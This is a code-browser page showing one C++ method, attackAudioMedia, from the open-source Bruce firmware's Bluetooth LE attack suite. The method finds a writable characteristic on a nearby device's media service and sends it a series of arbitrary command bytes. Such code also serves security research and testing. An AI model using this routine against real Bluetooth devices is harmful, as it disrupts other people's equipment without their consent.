MCPcopy Create free account
hub / github.com/BruceDevices/firmware / attackAudioMedia

Method attackAudioMedia

src/modules/ble/BLE_Suite.cpp:1377–1420  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1375}
1376
1377bool AudioAttackService::attackAudioMedia(NimBLERemoteService *mediaService) {
1378 if (!mediaService) return false;
1379 NimBLERemoteCharacteristic *pMediaChar = nullptr;
1380 const char *mediaUuids[] = {
1381 "b4b40201-b4b4-4a8f-9deb-bc87b8e0a8f5",
1382 "00002b01-0000-1000-8000-00805f9b34fb",
1383 "00002b02-0000-1000-8000-00805f9b34fb",
1384 nullptr
1385 };
1386
1387 for (int i = 0; mediaUuids[i] != nullptr; i++) {
1388 pMediaChar = mediaService->getCharacteristic(NimBLEUUID(mediaUuids[i]));
1389 if (pMediaChar && pMediaChar->canWrite()) break;
1390 }
1391
1392 if (!pMediaChar) {
1393 const std::vector<NimBLERemoteCharacteristic *> &chars = mediaService->getCharacteristics(true);
1394 for (auto &ch : chars) {
1395 if (ch->canWrite()) {
1396 pMediaChar = ch;
1397 break;
1398 }
1399 }
1400 }
1401 if (!pMediaChar) return false;
1402
1403 uint8_t commands[][5] = {
1404 {0x01, 0x00, 0x00, 0x00, 0x00},
1405 {0x02, 0x00, 0x00, 0x00, 0x00},
1406 {0x03, 0x00, 0x00, 0x00, 0x00},
1407 {0x04, 0x00, 0x00, 0x00, 0x00},
1408 {0x05, 0x00, 0x00, 0x00, 0x00},
1409 {0x06, 0x00, 0x00, 0x00, 0x00},
1410 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
1411 };
1412
1413 bool anySent = false;
1414 for (int i = 0; i < 7; i++) {
1415 bool sent = pMediaChar->writeValue(commands[i], 5, true);
1416 if (sent) anySent = true;
1417 delay(150);
1418 }
1419 return anySent;
1420}
1421
1422bool AudioAttackService::attackTelephony(NimBLERemoteService *teleService) {
1423 if (!teleService) return false;

Callers 1

executeAudioTestFunction · 0.80

Calls

no outgoing calls

Tested by

no test coverage detected